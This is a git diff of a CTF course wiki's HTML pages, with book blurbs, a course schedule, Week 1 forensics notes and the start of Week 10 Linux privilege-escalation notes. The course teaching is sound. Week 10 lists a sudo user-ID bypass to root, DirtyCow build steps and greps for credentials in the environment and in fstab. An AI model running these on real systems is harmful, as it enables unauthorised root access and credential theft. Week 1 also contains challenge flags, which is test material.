+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/Gray Hat Hacking/index.html b/Book/Security/Gray Hat Hacking/index.html new file mode 100644 index 000000000..1ae3c7660 --- /dev/null +++ b/Book/Security/Gray Hat Hacking/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Gray Hat Hacking The Ethical Hackers Handbook - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Gray Hat Hacking The Ethical Hackers Handbook

+

Author: Allen Harper (Author), Shon Harris (Author), Jonathan Ness (Author), Chris Eagle (Author), Gideon Lenkey (Author), Terron Williams (Author)

+

Introduction

+

THE LATEST STRATEGIES FOR UNCOVERING TODAY'S MOST DEVASTATING ATTACKS Thwart malicious network intrusion by using cutting-edge techniques for finding and fixing security flaws. Fully updated and expanded with nine new chapters, Gray Hat Hacking: The Ethical Hacker's Handbook, Third Edition details the most recent vulnerabilities and remedies along with legal disclosure methods. Learn from the experts how hackers target systems, defeat production schemes, write malicious code, and exploit flaws in Windows and Linux systems. Malware analysis, penetration testing, SCADA, VoIP, and Web security are also covered in this comprehensive resource. Develop and launch exploits using BackTrack and Metasploit Employ physical, social engineering, and insider attack techniques Build Perl, Python, and Ruby scripts that initiate stack buffer overflows Understand and prevent malicious content in Adobe, Office, and multimedia files Detect and block client-s

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/Rootkit/index.html b/Book/Security/Rootkit/index.html new file mode 100644 index 000000000..31389d611 --- /dev/null +++ b/Book/Security/Rootkit/index.html @@ -0,0 +1,8112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System

+

Author: Bill Blunden (Author)

+

Introduction

+

This book demonstrates how to modify a system at runtime to subvert a forensic live response. Readers will learn how to conceal their presence on a server, disable its security policies, sidestep group policy, maintain remote access, and covertly monitor system activity--all with the system administrator being none the wiser.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Book/Security/Vulnerability War/index.html b/Book/Security/Vulnerability War/index.html new file mode 100644 index 000000000..ea80aa3e7 --- /dev/null +++ b/Book/Security/Vulnerability War/index.html @@ -0,0 +1,8113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Vulnerability War: Software Vulnerability Analysis in a Nutshell - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Vulnerability War: Software Vulnerability Analysis in a Nutshell

+

Author: 林桠泉

+

Introduction

+

Vulnerability War: Essentials of Software Vulnerability Analysis" systematically explains various tools, theoretical techniques and practical methods for software vulnerability analysis and exploitation, mainly for Windows and Android platforms. Vulnerability War: Software Vulnerability Analysis Essentials is divided into different types of software vulnerabilities, such as stack overflow, sandbox escape, type obfuscation, UAF, kernel vulnerabilities, etc. It also includes the analysis and exploitation of vulnerabilities on Android platform for the current popular mobile security. Taking carefully selected classic vulnerabilities as examples, we share the analysis techniques and tools of vulnerabilities, and explain in detail the causes, exploitation and repair methods of these vulnerabilities, aiming to "teach to fish". The most important feature of "Vulnerability War: Software Vulnerability Analysis Essentials" is that it uses various types of classical vulnerabilities as practical explanations, abandoning empty-headed theories, and is almost "a book written with a debugger".

+

Vulnerability War: Software Vulnerability Analysis Essentials is suitable for undergraduate and graduate students in computer-related fields, information security enthusiasts, software security and mobile security-related security practitioners, software developers and testers, hackers, etc.

+

Cover

+

cover

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CNAME b/CNAME new file mode 100644 index 000000000..ca92bc652 --- /dev/null +++ b/CNAME @@ -0,0 +1 @@ +wiki.compass.college diff --git a/CS315/2021/Exercise Solutions/index.html b/CS315/2021/Exercise Solutions/index.html new file mode 100644 index 000000000..332e6fcd8 --- /dev/null +++ b/CS315/2021/Exercise Solutions/index.html @@ -0,0 +1,8040 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Exercise Solutions - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Exercise Solutions

+

Week 1 solution: PDF

+

Week 2 solution: PDF

+

Week 3 solution: PDF

+

Week 4 solution: PDF

+

Week 5 solution: PDF

+

Week 6 solution: PDF

+

Week 7 solution: PDF

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Overview/index.html b/CS315/2021/Overview/index.html new file mode 100644 index 000000000..420ec307e --- /dev/null +++ b/CS315/2021/Overview/index.html @@ -0,0 +1,8292 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Overview - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Overview

+

Capture The Flags, or CTFs, are a kind of computer security competition.

+

Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.

+

Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.

+

In this guide/wiki/handbook you'll learn the techniques, thought processes, and methodologies you need to succeed in Capture the Flag competitions.

+

Grading Policy

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TopicsGrade
Lab1: Forensics10
Lab2: Buffer Overflow10
Lab3: Web Information Discovery10
Lab4: Web Vulnerability Exploit10
Lab5: De-compiling Program10
Lab6: Attacking WiFi10
Lab7: Physical Attacks10
Lab8: Social Engineering10
Lab9: Privilege Escalation10
Lab10: Public Key Crypto Attacking10
Lab11: Attacking Websites10
Lab12: ROL and ROP10
Attack and Defense CTF(bonus) 100
+

Class Schedule

+

CTFs in CS315 Course aims to provide an experimental environment. Instructions of CTF components in CS315 are as follow:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DateTopicContentFile
Week 1CTF Introduction and Forensics1. Introduce CTF
2. Basic Forensics
3. Network traffic analysis
Week 1.md
Week 2PWN: Basic Buffer Overflow1. Introduce PWN
2. Stack and buffer overflow
3. Return to shellcode
Week 2.md
Week 2.pdf
Week 3PWN: Advanced Buffer Overflow1. Calling conversion
2. Binary security
3. Bypass canary & PIE
Week 3.md
Week 4WEB: Information Discovery1. Passive information gathering
2. Active information gathering
Week 4.md
Week 5WEB: Vulnerability Exploit1. Injection
2. Traversal
3. CSRF & XSS
4. SSRF
Week 5.md
Week 6RE: De-compiling Program1. Assembly
2. From C to assembly
3. Disassemblers and Decompiles
4. Debugging with GDB
Week 6.md
Week 7WLAN: Attacking WiFi1. WiFi attacking tools
2. Resume attack
3. WiFi crypto attack
4. Evil Twin
Week 7.md
Week 8MISC: Physical Attacks1. BIOS
2. Bad USB
3. Attack printers
Week 8.md
Week 9MISC: Social Engineering1. Cloning a website
2. Phishing
Week 9.md
Week 10PWN: Privilege Escalation1. Gather vulnerabilities
2. Privilege escalation
Week 10.md
Week 11CRYPTO: Public Key Crypto Attacking1. Traditional crypto
2. Hash functions
3. RSA
Week 11.md
Week 12WEB: Attacking Websites1. OWASP top 10
2. Proxies vulnerabilities
3. User input vulnerabilities
Week 12.md
Week 13PWN: ROL and ROP1. ROP
2. Dynamic ROP chain
3. ROL
Week 13.md
Week 14CTF: Attack-Defense CTF1. Introduction
2. Environment set
3. Grading
Week 14.md
+

Contact me

+

If you have any questions about the CTF part, feel free to contact me : liz33[at]mail.sustech.edu.cn

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 1/index.html b/CS315/2021/Week 1/index.html new file mode 100644 index 000000000..be58ce42c --- /dev/null +++ b/CS315/2021/Week 1/index.html @@ -0,0 +1,9322 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week 1 CTF Introduction and Forensics - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week 1 CTF Introduction and Forensics

+

According to the @CTF101: https://ctf101.org/

+

Introduction to CTF

+

Capture The Flags, or CTFs, are a kind of computer security competition.

+

Teams of competitors (or just individuals) are pitted against each other in a test of computer security skill.

+

Very often CTFs are the beginning of one's cyber security career due to their team building nature and competitive aspect. In addition, there isn't a lot of commitment required beyond a weekend.

+

ctftime

+

Figure: CTFs on the CTFtime website.

+

These contests run every month by various organizations and universities across the globe. These contests can be arranged in the 3 styles:

+
    +
  1. Jeopardy
  2. +
  3. Attack & Defense
  4. +
  5. Mixed Style
  6. +
+

Most of the CTFs are online, while some of them (usually finals) are offline. The most famous CTF is the DEF CON CTF, which is held every August annually.

+

In our semester, every lab would have several CTF challenges in Jeopardy format. By the end of this semester, yet another AWD (Attack & Defense) CTF would be hold.

+

Categories

+

In Jeopardy format CTFs, there are usually 5 categories:

+
    +
  • Forensics
  • +
+

Forensics is the art of recovering the digital trail left on a computer. There are plenty of methods to find data which is seemingly deleted, not stored, or worse, covertly recorded.

+
    +
  • Cryptography
  • +
+

Cryptography is the reason we can use banking apps, transmit sensitive information over the web, and in general protect our privacy. However, a large part of CTFs is breaking widely used encryption schemes which are improperly implemented. The math may seem daunting, but more often than not, a simple understanding of the underlying principles will allow you to find flaws and crack the code.

+

The word “cryptography” technically means the art of writing codes. When it comes to digital forensics, it’s a method you can use to understand how data is constructed for your analysis.

+
    +
  • Web Exploitation
  • +
+

Websites all around the world are programmed using various programming languages. While there are specific vulnerabilities in each programming langage that the developer should be aware of, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.

+

These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher level privileges.

+
    +
  • Reverse Engineering
  • +
+

Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human readable format.

+

Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.

+
    +
  • Binary Exploitation
  • +
+

Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.

+

Some other categories growing up in recent years, like IoT (Internet of Thing) and AI.

+

Forensics

+

An important part of Forensics is having the right tools, as well as being familiar with the following topics:

+
    +
  • File Formats
  • +
  • EXIF data
  • +
  • Wireshark & PCAPs
  • +
  • Wireshark traffic analysis
  • +
  • Steganography
  • +
  • (Optional) Disk Imaging
  • +
+

File Formats

+

File Extensions are not the sole way to identify the type of a file, files have certain leading bytes called file signatures which allow programs to parse the data in a consistent manner. Files can also contain additional "hidden" data called metadata which can be useful in finding out information about the context of a file's data.

+

File Signatures

+

File signatures (also known as File Magic Numbers) are bytes within a file used to identify the format of the file. Generally they’re 2-4 bytes long, found at the beginning of a file.

+

What is it used for?

+

Files can sometimes come without an extension, or with incorrect ones. We use file signature analysis to identify the format (file type) of the file. Programs need to know the file type in order to open it properly.

+

How do you find the file signature?

+

You need to be able to look at the binary data that constitutes the file you’re examining. To do this, you’ll use a hexadecimal editor. Once you find the file signature, you can check it against file signature repositories such as Gary Kessler’s.

+

Example

+

File A

+

The file above, when opened in a Hex Editor, begins with the bytes FFD8FFE0 00104A46 494600 or in ASCII ˇÿˇ‡ JFIF where \x00 and \x10 lack symbols.

+

Searching in Gary Kessler’s database shows that this file signature belongs to a JPEG/JFIF graphics file, exactly what we suspect.

+

Extensions vs Signature

+

File extension is used to uniquely describe a format of a particular file whereas file signature is the header information that is present in each file.

+

Some operating systems (Windows like) use file extension to bind with applications to open the file, while some other operating systems check file signature in the header to guess the file format (file command in Unix).

+

What about MIME?

+

A media type (also known as a Multipurpose Internet Mail Extensions or MIME type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. It is defined and standardized in IETF's RFC 6838.

+

This type is identified in HTTP packets and DO NOT stipulate the real file format. For example, a MIME type image/jpg means the transferred data LIKELY to be a JPEG image, but user can post a plain text or anything in real body.

+

Example

+
            ┌────────────────┐
+            │                │
+            │   HTTP packe   │
+            │                │
+            │ MIME:image/jpg │
+            │                │
+A ───────── │  ┌──┐          │ ─────────► B
+            │  │  │          │
+            │  │  │flag.jpg  │
+            │  └─┬┘          │
+            │    │           │
+            └────┼───────────┘
+                 │
+                 │
+                 ▼
+            ┌────────────────┐
+            │GIF89a\xc8\x00  │
+            │\x96\x00\xf7\x00│
+            │...             │
+            └────────────────┘
+
+

The file signature is GIF8 while the file extension is .jpg, with the MIME type image/jpg during HTTP transmission.

+

The given file is a GIF image instead of JPEG file.

+

Metadata

+

Metadata is data about data. Different types of files have different metadata. The metadata on a photo could include dates, camera information, GPS location, comments, etc. For music, it could include the title, author, track number and album.

+

What kind of file metadata is useful?

+

Potentially, any file metadata you can find could be useful.

+

How do I find it?

+

One of our favorite tools is exiftool, which displays metadata for an input file, including: - File size - Dimensions (width and height) - File type - Programs used to create (e.g. Photoshop) - OS used to create (e.g. Apple)

+

Run command line: exiftool(-k).exe [filename] and you should see something like this:

+

Exiftool

+

Example

+

Let's take a look at File A's metadata with exiftool:

+

File type

+

Metadata 1

+

Image description

+

Metadata 2

+

Make and camera info

+

Metadata 3

+

GPS Latitude/Longitude

+

Metadata 4

+

Timestamps

+

Timestamps are data that indicate the time of certain events (MAC): - Modification – when a file was modified - Access – when a file or entries were read or accessed - Creation – when files or entries were created

+

Types of timestamps

+
    +
  • Modified
  • +
  • Accessed
  • +
  • Created
  • +
  • Date Changed (MFT)
  • +
  • Filename Date Created (MFT)
  • +
  • Filename Date Modified (MFT)
  • +
  • Filename Date Accessed (MFT)
  • +
  • INDX Entry Date Created
  • +
  • INDX Entry Date Modified
  • +
  • INDX Entry Date Accessed
  • +
  • INDX Entry Date Changed
  • +
+

Why do we care?

+

Certain events such as creating, moving, copying, opening, editing, etc. might affect the MAC times. If the MAC timestamps can be attained, a timeline of events could be created.

+

Timeline Patterns

+

There are plenty more patterns than the ones introduced below, but these are the basics you should start with to get a good understanding of how it works, and to complete this challenge.

+

Timeline 1 Timeline 2 Timeline 3 Timeline 4 Timeline 5

+

Examples

+

We know that the BMP files fileA and fileD are the same, but that the JPEG files fileB and fileC are different somehow. So how can we find out what went on with these files?

+

Files A, B, C, D

+

By using time stamp information from the file system, we can learn that the BMP fileD was the original file, with fileA being a copy of the original. Afterward, fileB was created by modifying fileB, and fileC was created by modifying fileA in a different way.

+

Follow along as we demonstrate.

+

We’ll start by analyzing images in AccessData FTK Imager, where there’s a Properties window that shows you some information about the file or folder you’ve selected.

+

Timestamp 1 Timestamp 2 Timestamp 3 Timestamp 4

+

Here are the extracted MAC times for fileA, fileB, fileC and fileD: Note, AccessData FTK Imager assumes that the file times on the drive are in UTC (Universal Coordinated Time). I subtracted four hours, since the USB was set up in Eastern Standard Time. This isn’t necessary, but it helps me understand the times a bit better.

+

Timestamp 5

+

Highlight timestamps that are the same, if timestamps are off by a few seconds, they should be counted as the same. This lets you see a clear difference between different timestamps. Then, highlight oldest to newest to help put them in order.

+

Timestamp 6 Timestamp 7 Timestamp 8 Timestamp 9 Timestamp 10 Timestamp 11 Timestamp 12 Timestamp 13 Timestamp 14 Timestamp 15

+

Identify timestamp patterns.

+

Timestamp 16

+

Wireshark

+

Wireshark is a network protocol analyzer which is often used in CTF challenges to look at recorded network traffic. Wireshark uses a filetype called PCAP to record traffic. PCAPs are often distributed in CTF challenges to provide recorded traffic history.

+

Interface

+

Upon opening Wireshark, you are greeted with the option to open a PCAP or begin capturing network traffic on your device.

+

Wirshark Start Screen

+

The network traffic displayed initially shows the packets in order of which they were captured. You can filter packets by protocol, source IP address, destination IP address, length, etc.

+

PCAP Screen

+

In order to apply filters, simply enter the constraining factor, for example 'http', in the display filter bar.

+

PCAP HTTP Filter

+

Filters can be chained together using '&&' notation. In order to filter by IP, ensure a double equals '==' is used.

+

PCAP HTTP IP Filter

+

The most pertinent part of a packet is its data payload and protocol information.

+

HTTP TCP Info

+

Decrypting SSL Traffic

+

By default, Wireshark cannot decrypt SSL traffic on your device unless you grant it specific certificates.

+

High Level SSL Handshake Overview

+

In order for a network session to be encrypted properly, the client and server must share a common secret for which they can use to encrypt and decrypt data without someone in the middle being able to guess. The SSL Handshake loosely follows this format:

+
    +
  1. The client sends a list of availble cipher suites it can use along with a random set of bytes referred to as client_random
  2. +
  3. The server sends back the cipher suite that will be used, such as TLS_DHE_RSA_WITH_AES_128_CBC_SHA, along with a random set of bytes referred to as server_random
  4. +
  5. The client generates a pre-master secret, encrypts it, then sends it to the server.
  6. +
  7. The server and client then generate a common master secret using the selected cipher suite
  8. +
  9. The client and server begin communicating using this common secret
  10. +
+

Decryption Requirements

+

There are several ways to be able to decrypt traffic.

+
    +
  • If you have the client and server random values and the pre-master secret, the master secret can be generated and used to decrypt the traffic
  • +
  • If you have the master secret, traffic can be decrypted easily
  • +
  • If the cipher-suite uses RSA, you can factor n in the key in order to break the encryption on the encrypted pre-master secret and generate the master secret with the client and server randoms
  • +
+

Wireshark SSL Preferences

+

Steganography

+

Steganography is the practice of hiding data in plain sight. Steganography is often embedded in images or audio.

+

You could send a picture of a cat to a friend and hide text inside. Looking at the image, there’s nothing to make anyone think there’s a message hidden inside it.

+

Steg with text

+

You could also hide a second image inside the first.

+

Steg with an Image

+

Steganography Detection

+

So we can hide text and an image, how do we find out if there is hidden data?

+

Group of images

+

FileA and FileD appear the same, but they’re different. Also, FileD was modified after it was copied, so it’s possible there might be steganography in it.

+

FileB and FileC don’t appear to have been modified after being created. That doesn’t rule out the possibility that there’s steganography in them, but you’re more likely to find it in fileD. This brings up two questions:

+
    +
  1. Can we determine that there is steganography in fileD?
  2. +
  3. If there is, what was hidden in it?
  4. +
+

LSB Steganography

+

File are made of bytes. Each byte is composed of eight bits.

+

Steganography Process Step 1

+

Changing the least-significant bit (LSB) doesn’t change the value very much.

+

Steganography Process Step 2

+

So we can modify the LSB without changing the file noticeably. By doing so, we can hide a message inside.

+

LSB Steganography in Images

+

LSB Steganography or Least Significant Bit Steganography is a method of Steganography where data is recorded in the lowest bit of a byte.

+

Say an image has a pixel with an RGB value of (255, 255, 255), the bits of those RGB values will look like

+ + + + + + + + + + + + + + + + + + + + + + + + + +
11111111
+

By modifying the lowest, or least significant, bit, we can use the 1 bit space across every RGB value for every pixel to construct a message.

+ + + + + + + + + + + + + + + + + + + + + + + + + +
11111110
+

The reason Steganography is hard to detect by sight is because a 1 bit difference in color is insignificant as seen below.

+

1 Bit Difference

+

Example

+

Let’s say we have an image, and part of it contains the following binary:

+

Steganography Process Step 3

+

And let’s say we want to hide the character y inside.

+

First, we need to convert the hidden message to binary.

+

Steganography Process Step 4

+

Now we take each bit from the hidden message and replace the LSB of the corresponding byte with it.

+

Steganography Process Step 5

+

And again:

+

Steganography Process Step 6

+

And again:

+

Steganography Process Step 7

+

And again:

+

Steganography Process Step 8

+

And again:

+

Steganography Process Step 9

+

And again:

+

Steganography Process Step 10

+

And again:

+

Steganography Process Step 11

+

And once more:

+

Steganography Process Step 12

+

Decoding LSB steganography is exactly the same as encoding, but in reverse. For each byte, grab the LSB and add it to your decoded message. Once you’ve gone through each byte, convert all the LSBs you grabbed into text or a file. (You can use your file signature knowledge here!)

+

What other types of steganography are there?

+

Steganography is hard for the defense side, because there’s practically an infinite number of ways it could be carried out. Here are a few examples: - LSB steganography: different bits, different bit combinations - Encode in every certain number of bytes - Use a password - Hide in different places - Use encryption on top of steganography

+

Blind Watermark

+

Blind watermark is a kind of technique to embed one picture or string to another image. Just like the regular watermark, but the blind watermark cannot be detected by using human eyes. The transformed image is indistinguishable from the origin one.

+

Furthermore, blind watermark should be able to bypass different types of processing of image. For example, rotating the picture should not broke the blind watermark. Some modern researches are focusing on the strong transform of the image, such like film the image from another screen.

+

Example

+

encode:

+

original image +image

+

watermark +image

+
python encode.py --image ori.png --watermark watermark.png --result res.png
+
+

result +image

+

decode:

+
python decode.py --original ori.png --image res.png --result extract.png
+
+

watermark +image

+

Hex Editor

+

A hexadecimal (hex) editor (also called a binary file editor or byte editor) is a computer program you can use to manipulate the fundamental binary data that constitutes a computer file. The name “hex” comes from “hexadecimal,” a standard numerical format for representing binary data. A typical computer file occupies multiple areas on the platter(s) of a disk drive, whose contents are combined to form the file. Hex editors that are designed to parse and edit sector data from the physical segments of floppy or hard disks are sometimes called sector editors or disk editors. A hex editor is used to see or edit the raw, exact contents of a file. Hex editors may used to correct data corrupted by a system or application. A list of editors can be found on the forensics Wiki. You can download one and install it on your system.

+

Example

+

Open fileA.jpg in a hex editor. (Most Hex editors have either a “File > Open” option or a simple drag and drop.)

+

fileA

+

When you open fileA.jpg in your hex editor, you should see something similar to this:

+

Hexadecimal Editor Screenshot

+

Your hex editor should also have a “go to” or “find” feature so you can jump to a specific byte.

+

Exercise

+

Every lab we will have 2 or 3 challenges about the topics this week. But in case the difficulty of the challenge, only the first 2 challenges are required. But if you want to fight CTF so hard, you can try the third one. Solving the third one would give you extra points for this lab and some prizes as well.

+

For finishing the challenges, you may click this site: COMPASS CTF Platform and find the category CS315. Other challenges are for CTF team members, but you also can finish them freely. After uploading the flag on the platform, you also need to upload a writeup to blackboard system to grade.

+

The writeup is a file to describe how you solve the challenges and you need also post flag in it. The writeup would use to grade and in case you forget to submit the writeup, during the argue procedure, we would check the submission in platform.

+

Example writeup

+
(5 pt) Congratulations!
+Now in order to check whether you are a robot, you need to submit this flag to show that you are a real human!
+flag{w31com3_t0_CS315_c0Urs3!!!}
+
+

The flag you submit should be flag{w31com3_t0_CS315_c0Urs3!!!}, and the example writeup probably be:

+
Writeup.md
+I am a human so I copied the flag and submit it.
+Here is the flag:
+flag{w31com3_t0_CS315_c0Urs3!!!}
+
+

(5 pt) What is so called stream?

+

The network is so bad that I can't even send TCP stream through Internet. Wondering if I can use "UDP streams"...

+

capture.pcap

+

Try to find flag in this file, the flag format is: picoCTF{***}

+

Hint1: Wireshark may be useful.

+

(5 pt) HTTPS with secret sauce

+

Solved the network problem yesterday, but I found some guy was sniffing my network traffic. I need to be careful to protect my flag. Decide to use HTTPS to submit my flag to web01.fruitinc.xyz.

+

img

+

By the way, upload my super☆secret☆file to network disk.

+

capture.pcapng

+

pre-master secret.txt

+

Try to find flag in this file, the flag format is: flag{y2***}

+

(BONUS 5 pt) Bytes through network

+

That hacker still got my flag! Fine, I'm going to send my file byte by byte. Besides, combined with my knowledge of programming, encryption, and stenography I'm going to fight the final round. WE ARE IN THE ENDGAME NOW.

+

capture.pcapng

+

Try to find flag in this file, the flag format is: flag{***}

+

This challenge is extremely hard. The winner will get a badge for solving this.

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 10/index.html b/CS315/2021/Week 10/index.html new file mode 100644 index 000000000..02d271644 --- /dev/null +++ b/CS315/2021/Week 10/index.html @@ -0,0 +1,12015 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week10 PWN: Privilege Escalation - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week10 PWN: Privilege Escalation

+

According to @Hacktricks: https://book.hacktricks.xyz/

+

System Information

+

OS info

+

Let's starting gaining some knowledge of the OS running

+
(cat /proc/version || uname -a ) 2>/dev/null
+lsb_release -a 2>/dev/null
+
+

Path

+

If you have write permissions on any folder inside the PATH variable you may be able to hijacking some libraries or binaries:

+
echo $PATH
+
+

Env info

+

Interesting information, passwords or API keys in the environment variables?

+
(env || set) 2>/dev/null
+
+

Kernel exploits

+

Check the kernel version and if there is some exploit that can be used to escalate privileges

+
cat /proc/version
+uname -a
+searchsploit "Linux Kernel"
+
+

You can find a good vulnerable kernel list and some already compiled exploits here: https://github.com/lucyoa/kernel-exploits and exploitdb sploits. +Other sites where you can find some compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

+

To extract all the vulnerable kernel versions from that web you can do:

+
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
+
+

Tools that could help searching for kernel exploits are:

+

linux-exploit-suggester.sh +linux-exploit-suggester2.pl +linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

+

Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.

+

CVE-2016-5195 (DirtyCow)

+

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

+
# make dirtycow stable
+echo 0 > /proc/sys/vm/dirty_writeback_centisecs
+g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
+https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
+https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
+
+

Sudo version

+

Based on the vulnerable sudo versions that appear in:

+
searchsploit sudo
+
+

You can check if the sudo version is vulnerable using this grep.

+
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
+
+

sudo <= v1.28

+

From @sickrov

+
sudo -u#-1 /bin/bash
+
+

Dmesg signature verification failed

+

Check smasher2 box of HTB for an example of how this vuln could be exploited

+
dmesg 2>/dev/null | grep "signature"
+
+

More system enumeration

+
date 2>/dev/null #Date
+(df -h || lsblk) #System stats
+lscpu #CPU info
+lpstat -a 2>/dev/null #Printers info
+
+

Enumerate possible defenses

+

AppArmor

+
if [ `which aa-status 2>/dev/null` ]; then
+    aa-status
+  elif [ `which apparmor_status 2>/dev/null` ]; then
+    apparmor_status
+  elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
+    ls -d /etc/apparmor*
+  else
+    echo "Not found AppArmor"
+fi
+
+

Grsecurity

+
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
+
+

PaX

+
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
+
+

Execshield

+
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
+
+

SElinux

+
 (sestatus 2>/dev/null || echo "Not found sestatus")
+
+

ASLR

+
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
+#If 0, not enabled
+
+

Docker Breakout

+

If you are inside a docker container you can try to escape from it:

+

https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout

+

Drives

+

Check what is mounted and unmounted, where and why. If anything is unmounted you could try to mount it and check for private info

+
ls /dev 2>/dev/null | grep -i "sd"
+cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
+#Check if credentials in fstab
+grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
+
+

Installed Software

+

Useful software

+

Enumerate useful binaries

+
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
+
+

